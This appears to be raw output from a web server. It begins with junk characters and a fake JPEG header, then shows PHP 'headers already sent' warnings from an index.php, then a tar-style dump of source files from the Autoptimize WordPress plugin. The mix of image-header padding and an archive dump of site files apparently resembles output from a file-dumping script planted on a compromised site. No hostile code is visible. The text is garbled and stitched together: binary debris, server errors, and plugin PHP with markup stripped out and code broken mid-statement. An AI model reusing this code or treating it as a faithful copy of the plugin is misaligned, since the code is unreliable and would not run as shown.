???????????????????????????? ??????????????/????????????????? ............/............... .........................../... ????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ???????????????????????????? ??????????????/????????????????? ............/............... .........................../... ????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 386

Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 387

Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 388

Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 389

Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 390

Warning: Cannot modify header information - headers already sent by (output started at /home/salemotlimited/dscil.com.ng/294735/index.php:1) in /home/salemotlimited/dscil.com.ng/294735/index.php on line 391
plugins/autoptimize-/classes/autoptimizeCriticalCSSEnqueue.php000064400000037213152335264760020773 0ustar00criticalcss = autoptimize()->criticalcss(); } public function ao_ccss_enqueue( $hash = '', $path = '', $type = 'is_page' ) { // Get key status. $key = $this->criticalcss->key_status( false ); // Queue is available to anyone... $enqueue = true; // ... which are not the ones below. if ( true === autoptimizeUtils::is_local_server() ) { $enqueue = false; $this->criticalcss->log( 'cant enqueue as local/ private', 3 ); } elseif ( 'nokey' == $key['status'] || 'invalid' == $key['status'] ) { $enqueue = false; $this->criticalcss->log( 'Job queuing is not available: no valid API key found.', 3 ); } elseif ( ! empty( $hash ) && ( is_user_logged_in() || is_feed() || is_404() || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) || $this->ao_ccss_ua() || false === apply_filters( 'autoptimize_filter_ccss_enqueue_should_enqueue', true ) ) ) { $enqueue = false; $this->criticalcss->log( 'Job queuing is not available for WordPress\'s logged in users, feeds, error pages, ajax calls or calls from criticalcss.com itself.', 3 ); } elseif ( empty( $hash ) && empty( $path ) || ( ( 'is_single' !== $type ) && ( 'is_page' !== $type ) ) ) { $enqueue = false; $this->criticalcss->log( 'Forced job queuing failed, no path or not right type', 3 ); } if ( ! $enqueue ) { return; } // Continue if queue is available // Attach required arrays/ vars. $rules = $this->criticalcss->get_option( 'rules' ); $queue_raw = $this->criticalcss->get_option( 'queue_raw' ); $queue = $this->criticalcss->get_option( 'queue' ); $forcepath = $this->criticalcss->get_option( 'forcepath' ); // Get request path and page type, and initialize the queue update flag. if ( ! empty( $hash ) ) { $req_orig = $_SERVER['REQUEST_URI']; $req_type = $this->ao_ccss_get_type(); } elseif ( ! empty( $path ) ) { $req_orig = $path; if ( '/' === $path ) { $req_type = 'is_front_page'; } else { $req_type = $type; } } $req_path = strtok( $req_orig, '?' ); // now that we really have the path, check if there's no garbage in there (due to some themes serving a non 404 page even if the resource does not exist resulting in all sorts of nonsense rules). if ( true === apply_filters( 'autoptimize_filter_ccss_enqueue_block_garbage' , true ) && str_ireplace( apply_filters( 'autoptimize_filter_ccss_enqueue_blocklist', array( '.php', 'data:text/javascript;base64', '/.', '/null', '.jpeg', '.jpg', '.png' ) ), '', $req_path ) !== $req_path ) { $this->criticalcss->log( 'Job not enqueued looks like the path is just garbage; ' . $req_path, 3 ); return; } // Check if we have a lang param. we need to keep as WPML can switch languages based on that // and that includes RTL -> LTR so diff. structure, so rules would be RTL vs LTR // but this needs changes in the structure of the rule object so off by default for now // as now this will simply result in conditional rules being overwritten. if ( apply_filters( 'autoptimize_filter_ccss_coreenqueue_honor_lang', false ) && strpos( $req_orig, 'lang=' ) !== false ) { $req_params = strtok( '?' ); parse_str( $req_params, $req_params_arr ); if ( array_key_exists( 'lang', $req_params_arr ) && ! empty( $req_params_arr['lang'] ) ) { $req_path .= '?lang=' . $req_params_arr['lang']; } } $job_qualify = false; $target_rule = false; $rule_properties = false; $queue_update = false; // Match for paths in rules. foreach ( $rules['paths'] as $path => $props ) { // Prepare rule target and log. $target_rule = 'paths|' . $path; $this->criticalcss->log( 'Qualifying path <' . $req_path . '> for job submission by rule <' . $target_rule . '>', 3 ); // Path match // -> exact match needed for AUTO rules // -> partial match OK for MANUAL rules (which have empty hash and a file with CCSS). if ( $path === $req_path || ( false == $props['hash'] && false != $props['file'] && preg_match( '|' . $path . '|', $req_path ) ) ) { // There's a path match in the rule, so job QUALIFIES with a path rule match. $job_qualify = true; $rule_properties = $props; $this->criticalcss->log( 'Path <' . $req_path . '> QUALIFIED for job submission by rule <' . $target_rule . '>', 3 ); // Stop processing other path rules. break; } } // Match for types in rules if no path rule matches and if we're not enforcing paths. if ( '' !== $hash && ! $job_qualify && ( ! $forcepath || ! in_array( $req_type, apply_filters( 'autoptimize_filter_ccss_coreenqueue_forcepathfortype', array( 'is_page' ) ) ) || ! apply_filters( 'autoptimize_filter_ccss_coreenqueue_ignorealltypes', false ) ) ) { foreach ( $rules['types'] as $type => $props ) { // Prepare rule target and log. $target_rule = 'types|' . $type; $this->criticalcss->log( 'Qualifying page type <' . $req_type . '> on path <' . $req_path . '> for job submission by rule <' . $target_rule . '>', 3 ); if ( $req_type == $type ) { // Type match. // There's a type match in the rule, so job QUALIFIES with a type rule match. $job_qualify = true; $rule_properties = $props; $this->criticalcss->log( 'Page type <' . $req_type . '> on path <' . $req_path . '> QUALIFIED for job submission by rule <' . $target_rule . '>', 3 ); // Stop processing other type rules. break; } } } if ( $job_qualify && ( ( false == $rule_properties['hash'] && false != $rule_properties['file'] ) || strpos( $req_type, 'template_' ) !== false ) ) { // If job qualifies but rule hash is false and file isn't false (MANUAL rule) or if template, job does not qualify despite what previous evaluations says. $job_qualify = false; $this->criticalcss->log( 'Job submission DISQUALIFIED by MANUAL rule <' . $target_rule . '> with hash <' . $rule_properties['hash'] . '> and file <' . $rule_properties['file'] . '>', 3 ); } elseif ( ! $job_qualify && empty( $rule_properties ) ) { // But if job does not qualify and rule properties are set, job qualifies as there is no matching rule for it yet // Fill-in the new target rule. $job_qualify = true; // Should we switch to path-base AUTO-rules? Conditions: // 1. forcepath option has to be enabled (off by default) // 2. request type should be (by default, but filterable) one of is_page (removed for now: woo_is_product or woo_is_product_category). if ( ( $forcepath && in_array( $req_type, apply_filters( 'autoptimize_filter_ccss_coreenqueue_forcepathfortype', array( 'is_page' ) ) ) ) || apply_filters( 'autoptimize_filter_ccss_coreenqueue_ignorealltypes', false ) || empty( $hash ) ) { if ( '/' !== $req_path ) { $target_rule = 'paths|' . $req_path; } else { // Exception; we don't want a path-based rule for "/" as that messes things up, hard-switch this to a type-based is_front_page rule. $target_rule = 'types|' . 'is_front_page'; } } else { $target_rule = 'types|' . $req_type; } $this->criticalcss->log( 'Job submission QUALIFIED by MISSING rule for page type <' . $req_type . '> on path <' . $req_path . '>, new rule target is <' . $target_rule . '>', 3 ); } else { // Or just log a job qualified by a matching rule. $this->criticalcss->log( 'Job submission QUALIFIED by AUTO rule <' . $target_rule . '> with hash <' . $rule_properties['hash'] . '> and file <' . $rule_properties['file'] . '>', 3 ); } // Submit job. if ( $job_qualify ) { if ( ! array_key_exists( $req_path, $queue ) ) { // This is a NEW job // Merge job into the queue. $queue[ $req_path ] = $this->ao_ccss_define_job( $req_path, $target_rule, $req_type, $hash, null, null, null, null, true ); // Set update flag. $queue_update = true; } else { // This is an existing job // The job is still NEW, most likely this is extra CSS file for the same page that needs a hash. if ( 'NEW' == $queue[ $req_path ]['jqstat'] ) { // Add hash if it's not already in the job. if ( ! in_array( $hash, $queue[ $req_path ]['hashes'] ) ) { // Push new hash to its array and update flag. $queue_update = array_push( $queue[ $req_path ]['hashes'], $hash ); // Log job update. $this->criticalcss->log( 'Hashes UPDATED on local job id <' . $queue[ $req_path ]['ljid'] . '>, job status NEW, target rule <' . $queue[ $req_path ]['rtarget'] . '>, hash added: ' . $hash, 3 ); // Return from here as the hash array is already updated. return true; } } elseif ( 'NEW' != $queue[ $req_path ]['jqstat'] && 'JOB_QUEUED' != $queue[ $req_path ]['jqstat'] && 'JOB_ONGOING' != $queue[ $req_path ]['jqstat'] ) { // Allow requeuing jobs that are not NEW, JOB_QUEUED or JOB_ONGOING // Merge new job keeping some previous job values. $queue[ $req_path ] = $this->ao_ccss_define_job( $req_path, $target_rule, $req_type, $hash, $queue[ $req_path ]['file'], $queue[ $req_path ]['jid'], $queue[ $req_path ]['jrstat'], $queue[ $req_path ]['jvstat'], false ); // Set update flag. $queue_update = true; } } if ( $queue_update ) { // Persist the job to the queue and return. $queue_raw = json_encode( $queue ); update_option( 'autoptimize_ccss_queue', $queue_raw, false ); $this->criticalcss->flush_options(); return true; } else { // Or just return false if no job was added. $this->criticalcss->log( 'A job for path <' . $req_path . '> already exist with NEW or PENDING status, skipping job creation', 3 ); return false; } } } public function ao_ccss_get_type() { // Get the type of a page // Attach the conditional tags array. $types = $this->criticalcss->get_types(); $forcepath = $this->criticalcss->get_option( 'forcepath' ); // By default, a page type is false. $page_type = false; // Iterates over the array to match a type. foreach ( $types as $type ) { if ( is_404() ) { $page_type = 'is_404'; break; } elseif ( is_front_page() ) { // identify frontpage immediately to avoid it also matching a CPT or template. $page_type = 'is_front_page'; break; } elseif ( strpos( $type, 'custom_post_' ) !== false && ( ! $forcepath || ! is_page() ) && is_singular() ) { // Match custom post types and not page or page not forced to path-based. if ( get_post_type( get_the_ID() ) === substr( $type, 12 ) ) { $page_type = $type; break; } } elseif ( strpos( $type, 'template_' ) !== false && ( ! $forcepath || ! is_page() ) ) { // Match templates if not page or if page is not forced to path-based. if ( is_page_template( substr( $type, 9 ) ) ) { $page_type = $type; break; } } else { // Match all other existing types // but remove prefix to be able to check if the function exists & returns true. $_type = str_replace( array( 'woo_', 'bp_', 'bbp_', 'edd_' ), '', $type ); if ( function_exists( $_type ) && call_user_func( $_type ) ) { // Make sure we only return for one page, not for the "paged pages" (/page/2 ..). if ( ! is_page() || ! is_paged() ) { $page_type = $type; break; } } } } // Return the page type. return $page_type; } public function ao_ccss_define_job( $path, $target, $type, $hash, $file, $jid, $jrstat, $jvstat, $create ) { // Define a job entry to be created or updated // Define commom job properties. $path = array(); $path['ljid'] = $this->ao_ccss_job_id(); $path['rtarget'] = $target; $path['ptype'] = $type; $path['hashes'] = array( $hash ); $path['hash'] = $hash; $path['file'] = $file; $path['jid'] = $jid; $path['jqstat'] = 'NEW'; $path['jrstat'] = $jrstat; $path['jvstat'] = $jvstat; $path['jctime'] = microtime( true ); $path['jftime'] = null; // Set operation requested. if ( $create ) { $operation = 'CREATED'; } else { $operation = 'UPDATED'; } // Log job creation. $this->criticalcss->log( 'Job ' . $operation . ' with local job id <' . $path['ljid'] . '> for target rule <' . $target . '>', 3 ); return $path; } public function ao_ccss_job_id( $length = 6 ) { // Generate random strings for the local job ID // Based on https://stackoverflow.com/a/4356295 . $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $characters_length = strlen( $characters ); $random_string = 'j-'; for ( $i = 0; $i < $length; $i++ ) { $random_string .= $characters[ rand( 0, $characters_length - 1 ) ]; } return $random_string; } public function ao_ccss_ua() { // Check for criticalcss.com user agent. $agent = ''; if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) { $agent = $_SERVER['HTTP_USER_AGENT']; } // Check for UA and return TRUE when criticalcss.com is the detected UA, false when not. $rtn = strpos( $agent, AO_CCSS_URL ); if ( 0 === $rtn ) { $rtn = true; } else { $rtn = false; } return ( $rtn ); } } plugins/autoptimize-/classes/autoptimizeOptionWrapper.php000064400000015043152335264760020146 0ustar00Generated by Autoptimizeplugins/autoptimize-/classes/autoptimizeExtra.php000064400000104434152335264760016423 0ustar00options = $options; } /** * Helper for getting a singleton instance. While being an * anti-pattern generally, it comes in handy for now from a * readability/maintainability perspective, until we get some * proper dependency injection going. * * @return self */ public static function instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } public function run() { if ( is_admin() ) { if ( is_multisite() && is_network_admin() && autoptimizeOptionWrapper::is_ao_active_for_network() ) { add_action( 'network_admin_menu', array( $this, 'admin_menu' ) ); } else { add_action( 'admin_menu', array( $this, 'admin_menu' ) ); } add_filter( 'autoptimize_filter_settingsscreen_tabs', array( $this, 'add_extra_tab' ) ); } else { add_action( 'wp', array( $this, 'run_on_frontend' ) ); } } public function set_options( array $options ) { $this->options = $options; return $this; } public static function fetch_options() { $value = autoptimizeOptionWrapper::get_option( 'autoptimize_extra_settings' ); if ( empty( $value ) ) { // Fallback to returning defaults when no stored option exists yet. $value = autoptimizeConfig::get_ao_extra_default_options(); } return $value; } public function disable_emojis() { // Removing all actions related to emojis! remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); // Removes TinyMCE emojis. add_filter( 'tiny_mce_plugins', array( $this, 'filter_disable_emojis_tinymce' ) ); // Removes emoji dns-preftech. add_filter( 'emoji_svg_url', '__return_false' ); } public function filter_disable_emojis_tinymce( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } public function filter_remove_qs( $src ) { if ( ! empty( $src ) ) { if ( strpos( $src, '?ver=' ) ) { $src = remove_query_arg( 'ver', $src ); } elseif ( strpos( $src, '?v=' ) ) { $src = remove_query_arg( 'v', $src ); } } return $src; } public function extra_async_js( $in ) { $exclusions = array(); if ( ! empty( $in ) ) { $exclusions = array_fill_keys( array_filter( array_map( 'trim', explode( ',', $in ) ) ), '' ); } $settings = wp_strip_all_tags( $this->options['autoptimize_extra_text_field_3'] ); $async = array_fill_keys( array_filter( array_map( 'trim', explode( ',', $settings ) ) ), '' ); $attr = apply_filters( 'autoptimize_filter_extra_async', 'async' ); foreach ( $async as $k => $v ) { $async[ $k ] = $attr; } // Merge exclusions & asyncs in one array and return to AO API. $merged = array_merge( $exclusions, $async ); return $merged; } public function run_on_frontend() { // only run the Extra optimizations on frontend if general conditions // for optimizations are met, this to ensure e.g. removing querystrings // is not done when optimizing for logged in users is off, breaking // some pagebuilders (Divi & Elementor). if ( false === autoptimizeMain::should_buffer() ) { return; } $options = $this->options; // Disable emojis if specified. if ( ! empty( $options['autoptimize_extra_checkbox_field_1'] ) ) { $this->disable_emojis(); } // Remove version query parameters. if ( ! empty( $options['autoptimize_extra_checkbox_field_0'] ) ) { add_filter( 'script_loader_src', array( $this, 'filter_remove_qs' ), 15, 1 ); add_filter( 'style_loader_src', array( $this, 'filter_remove_qs' ), 15, 1 ); } // Avoiding conflicts of interest when async-javascript plugin is active! $async_js_plugin_active = autoptimizeUtils::is_plugin_active( 'async-javascript/async-javascript.php' ); if ( ! empty( $options['autoptimize_extra_text_field_3'] ) && ! $async_js_plugin_active ) { add_filter( 'autoptimize_filter_js_exclude', array( $this, 'extra_async_js' ), 10, 1 ); } // Optimize google fonts! if ( ! empty( $options['autoptimize_extra_radio_field_4'] ) && ( '1' !== $options['autoptimize_extra_radio_field_4'] ) ) { add_filter( 'wp_resource_hints', array( $this, 'filter_remove_gfonts_dnsprefetch' ), 10, 2 ); add_filter( 'autoptimize_html_after_minify', array( $this, 'filter_optimize_google_fonts' ), 10, 1 ); add_filter( 'autoptimize_extra_filter_tobepreconn', array( $this, 'filter_preconnect_google_fonts' ), 10, 1 ); if ( '2' === $options['autoptimize_extra_radio_field_4'] ) { // remove Google Fonts, adding filters to also remove Google Fonts from 3rd party themes/ plugins. // inspired by https://wordpress.org/plugins/disable-remove-google-fonts/. remove_action( 'wp_footer', 'et_builder_print_font' ); // Divi. remove_action( 'wp_footer', array( 'RevSliderFront', 'load_google_fonts' ) ); // Revslider. add_filter( 'elementor/frontend/print_google_fonts', '__return_false' ); // Elementor. add_filter( 'fl_builder_google_fonts_pre_enqueue', '__return_empty_array' ); // Beaver Builder. } } // Preconnect! if ( ! empty( $options['autoptimize_extra_text_field_2'] ) || has_filter( 'autoptimize_extra_filter_tobepreconn' ) ) { add_filter( 'wp_resource_hints', array( $this, 'filter_preconnect' ), 10, 2 ); } // Preload! if ( ! empty( $options['autoptimize_extra_text_field_7'] ) || has_filter( 'autoptimize_filter_extra_tobepreloaded' ) || ! empty( autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_preload' ) ) ) { add_filter( 'autoptimize_html_after_minify', array( $this, 'filter_preload' ), 10, 2 ); } // Remove global styles. if ( ! empty( $options['autoptimize_extra_checkbox_field_8'] ) ) { $this->disable_global_styles(); } } public function filter_remove_gfonts_dnsprefetch( $urls, $relation_type ) { return $this->filter_remove_dns_prefetch( $urls, $relation_type, 'fonts.googleapis.com' ); } public function filter_remove_dns_prefetch( $urls, $relation_type, $url_to_remove ) { $url_to_remove = (string) $url_to_remove; if ( ! empty( $url_to_remove ) && 'dns-prefetch' === $relation_type ) { $cnt = 0; foreach ( $urls as $url ) { // $url can be an array, in which case we need to fetch the value of the href key. if ( is_array( $url ) ) { if ( isset( $url['href'] ) ) { $url = $url['href']; } else { continue; } } if ( is_string( $url ) && false !== strpos( $url, $url_to_remove ) ) { unset( $urls[ $cnt ] ); } $cnt++; } } return $urls; } public function filter_optimize_google_fonts( $in ) { // Extract fonts, partly based on wp rocket's extraction code. $markup = preg_replace( '//Uis', '', $in ); preg_match_all( '#])+)?(?:\s+href\s*=\s*([\'"])((?:https?:)?\/\/fonts\.googleapis\.com\/css(?:(?!\1).)+)\1)(?:\s+[^>]*)?>#iU', $markup, $matches ); $fonts_collection = array(); if ( ! $matches[2] ) { return $in; } // Store them in $fonts array. $i = 0; foreach ( $matches[2] as $font ) { if ( ! preg_match( '/rel=["\']dns-prefetch["\']/', $matches[0][ $i ] ) ) { // Get fonts name. $font = str_replace( array( '%7C', '%7c' ), '|', $font ); if ( strpos( $font, 'fonts.googleapis.com/css2' ) !== false ) { // (Somewhat) change Google Fonts APIv2 syntax back to v1. // todo: support for 100..900 $font = rawurldecode( $font ); $font = str_replace( array( 'css2?', 'ital,wght@', 'wght@', 'ital@', '0,', '1,', ':1', ';', '&family=' ), array( 'css?', '', '', '', '', 'italic', ':italic', ',', '%7C' ), $font ); } $font = explode( 'family=', $font ); $font = ( isset( $font[1] ) ) ? explode( '&', $font[1] ) : array(); // Add font to $fonts[$i] but make sure not to pollute with an empty family! $_thisfont = array_values( array_filter( explode( '|', reset( $font ) ) ) ); if ( ! empty( $_thisfont ) ) { $fonts_collection[ $i ]['fonts'] = $_thisfont; // And add subset if any! $subset = ( is_array( $font ) ) ? end( $font ) : ''; if ( false !== strpos( $subset, 'subset=' ) ) { $subset = str_replace( array( '%2C', '%2c' ), ',', $subset ); $subset = explode( 'subset=', $subset ); $fonts_collection[ $i ]['subsets'] = explode( ',', $subset[1] ); } } // And remove Google Fonts. $in = str_replace( $matches[0][ $i ], '', $in ); } $i++; } $options = $this->options; $fonts_markup = ''; if ( '2' === $options['autoptimize_extra_radio_field_4'] ) { // Remove Google Fonts. unset( $fonts_collection ); return $in; } elseif ( '3' === $options['autoptimize_extra_radio_field_4'] || '5' === $options['autoptimize_extra_radio_field_4'] ) { // Aggregate & link! $fonts_string = ''; $subset_string = ''; foreach ( $fonts_collection as $font ) { $fonts_string .= '|' . trim( implode( '|', $font['fonts'] ), '|' ); if ( ! empty( $font['subsets'] ) ) { $subset_string .= ',' . trim( implode( ',', $font['subsets'] ), ',' ); } } if ( ! empty( $subset_string ) ) { $subset_string = str_replace( ',', '%2C', ltrim( $subset_string, ',' ) ); $fonts_string = $fonts_string . '&subset=' . $subset_string; } $fonts_string = apply_filters( 'autoptimize_filter_extra_gfont_fontstring', str_replace( '|', '%7C', ltrim( $fonts_string, '|' ) ) ); // only add display parameter if there is none in $fonts_string (by virtue of the filter). if ( strpos( $fonts_string, 'display=' ) === false ) { $fonts_string .= apply_filters( 'autoptimize_filter_extra_gfont_display', '&display=swap' ); } if ( ! empty( $fonts_string ) ) { if ( '5' === $options['autoptimize_extra_radio_field_4'] ) { $rel_string = 'rel="stylesheet" media="print" onload="' . autoptimizeConfig::get_ao_css_preload_onload() . '"'; } else { $rel_string = 'rel="stylesheet"'; } $fonts_markup = ''; } } elseif ( '4' === $options['autoptimize_extra_radio_field_4'] ) { // Aggregate & load async (webfont.js impl.)! $fonts_array = array(); foreach ( $fonts_collection as $_fonts ) { if ( ! empty( $_fonts['subsets'] ) ) { $_subset = implode( ',', $_fonts['subsets'] ); foreach ( $_fonts['fonts'] as $key => $_one_font ) { $_one_font = $_one_font . ':' . $_subset; $_fonts['fonts'][ $key ] = $_one_font; } } $fonts_array = array_merge( $fonts_array, $_fonts['fonts'] ); } $fonts_array = array_map( 'urldecode', $fonts_array ); $fonts_array = array_map( function( $_f ) { return trim( $_f, ',' ); }, $fonts_array ); // type attrib on '; $fonts_library_markup = ''; $in = substr_replace( $in, $fonts_library_markup . '', strpos( $in, '' ), strlen( '' ) ); } // Replace back in markup. $inject_point = apply_filters( 'autoptimize_filter_extra_gfont_injectpoint', 'options; $preconns = array(); // Get settings and store in array. if ( array_key_exists( 'autoptimize_extra_text_field_2', $options ) ) { $preconns = array_filter( array_map( 'trim', explode( ',', wp_strip_all_tags( $options['autoptimize_extra_text_field_2'] ) ) ) ); } $preconns = apply_filters( 'autoptimize_extra_filter_tobepreconn', $preconns ); // Walk array, extract domain and add to new array with crossorigin attribute. foreach ( $preconns as $preconn ) { $domain = ''; $parsed = parse_url( $preconn ); if ( is_array( $parsed ) && ! empty( $parsed['host'] ) && empty( $parsed['scheme'] ) ) { $domain = '//' . $parsed['host']; } elseif ( is_array( $parsed ) && ! empty( $parsed['host'] ) ) { $domain = $parsed['scheme'] . '://' . $parsed['host']; } if ( ! empty( $domain ) ) { $hint = array( 'href' => $domain ); // Fonts don't get preconnected unless crossorigin flag is set, non-fonts don't get preconnected if origin flag is set // so hardcode fonts.gstatic.com to come with crossorigin and have filter to add other domains if needed. $crossorigins = apply_filters( 'autoptimize_extra_filter_preconn_crossorigin', array( 'https://fonts.gstatic.com' ) ); if ( in_array( $domain, $crossorigins ) ) { $hint['crossorigin'] = 'anonymous'; } $new_hints[] = $hint; } } // Merge in WP's preconnect hints. if ( 'preconnect' === $relation_type && ! empty( $new_hints ) ) { $hints = array_merge( $hints, $new_hints ); } return $hints; } public function filter_preconnect_google_fonts( $in ) { if ( '2' !== $this->options['autoptimize_extra_radio_field_4'] ) { // Preconnect to fonts.gstatic.com unless we remove gfonts. $in[] = 'https://fonts.gstatic.com'; } if ( '4' === $this->options['autoptimize_extra_radio_field_4'] ) { // Preconnect even more hosts for webfont.js! $in[] = 'https://ajax.googleapis.com'; $in[] = 'https://fonts.googleapis.com'; } return $in; } public function filter_preload( $in ) { // make array from comma separated list. $options = $this->options; $preloads = array(); if ( array_key_exists( 'autoptimize_extra_text_field_7', $options ) ) { $preloads = array_filter( array_map( 'trim', explode( ',', wp_strip_all_tags( $options['autoptimize_extra_text_field_7'] ) ) ) ); } if ( false === autoptimizeImages::imgopt_active() && false === autoptimizeImages::should_lazyload_wrapper() ) { // only do this here if imgopt/ lazyload are not active? $metabox_preloads = array_filter( array_map( 'trim', explode( ',', wp_strip_all_tags( autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_preload' ) ) ) ) ); if ( ! empty( $metabox_preloads ) ) { $preloads = array_merge( $preloads, $metabox_preloads ); } } $preloads = apply_filters( 'autoptimize_filter_extra_tobepreloaded', $preloads ); // immediately return if nothing to be preloaded. if ( empty( $preloads ) ) { return $in; } // iterate through array and add preload link to tmp string. $preload_output = ''; foreach ( $preloads as $preload ) { if ( filter_var( $preload, FILTER_VALIDATE_URL ) !== $preload ) { continue; } $preload = esc_url_raw( $preload ); $crossorigin = ''; $preload_as = ''; $mime_type = ''; $_preload = strtok( $preload, '?' ); if ( autoptimizeUtils::str_ends_in( $_preload, '.css' ) ) { $preload_as = 'style'; } elseif ( autoptimizeUtils::str_ends_in( $_preload, '.js' ) ) { $preload_as = 'script'; } elseif ( autoptimizeUtils::str_ends_in( $_preload, '.woff' ) || autoptimizeUtils::str_ends_in( $_preload, '.woff2' ) || autoptimizeUtils::str_ends_in( $_preload, '.ttf' ) || autoptimizeUtils::str_ends_in( $_preload, '.eot' ) || autoptimizeUtils::str_ends_in( $_preload, '.otf' ) ) { $preload_as = 'font'; $crossorigin = ' crossorigin'; $mime_type = ' type="font/' . pathinfo( $_preload, PATHINFO_EXTENSION ) . '"'; if ( ' type="font/eot"' === $mime_type ) { $mime_type = 'application/vnd.ms-fontobject'; } } elseif ( autoptimizeUtils::str_ends_in( $_preload, '.jpeg' ) || autoptimizeUtils::str_ends_in( $_preload, '.jpg' ) || autoptimizeUtils::str_ends_in( $_preload, '.webp' ) || autoptimizeUtils::str_ends_in( $_preload, '.png' ) || autoptimizeUtils::str_ends_in( $_preload, '.gif' ) || autoptimizeUtils::str_ends_in( $_preload, '.svg' ) ) { $preload_as = 'image'; } else { $preload_as = 'other'; } $preload_output .= ''; } $preload_output = apply_filters( 'autoptimize_filter_extra_preload_output', $preload_output ); return $this->inject_preloads( $preload_output, $in ); } public static function inject_preloads( $preloads, $html ) { // add string to head (before first link node by default). $preload_inject = apply_filters( 'autoptimize_filter_extra_preload_inject', ' esc_html__( 'Extra', 'autoptimize' ) ) ); } return $in; } public function options_page() { // phpcs:disable Squiz.ControlStructures.ControlSignature.NewlineAfterOpenBrace // Working with actual option values from the database here. // That way any saves are still processed as expected, but we can still // override behavior by using `new autoptimizeExtra($custom_options)` and not have that custom // behavior being persisted in the DB even if save is done here. $options = $this->fetch_options(); $gfonts = $options['autoptimize_extra_radio_field_4']; ?>

' method='post'>

>
>
>', '' ); ?>
>', '' ); ?> >
>', '' ) . ' ' . esc_html__( '(deprecated)', 'autoptimize' ); ?>

', '' ); } else { ?> '>
', '' ); // translators: %s will be replaced by a link to the "async javascript" plugin. echo sprintf( esc_html__( 'Configuration of async javascript is easier and more flexible using the %s plugin.', 'autoptimize' ), '"Async Javascript"' ); $asj_install_url = network_admin_url() . 'plugin-install.php?s=async+javascript&tab=search&type=term'; echo sprintf( ' %s', esc_html__( 'Click here to install and activate it.', 'autoptimize' ) ); } ?>
%s', esc_html__( 'Click here to configure it.', 'autoptimize' ) ); } else { // translators: %s will be replaced by a link to "wp youtube lyte" plugin. echo sprintf( esc_html__( '%s allows you to “lazy load” your videos, by inserting responsive “Lite YouTube Embeds". ', 'autoptimize' ), 'WP YouTube Lyte' ); $lyte_install_url = network_admin_url() . 'plugin-install.php?s=lyte&tab=search&type=term'; echo sprintf( ' %s', esc_html__( 'Click here to install and activate it.', 'autoptimize' ) ); } ?>

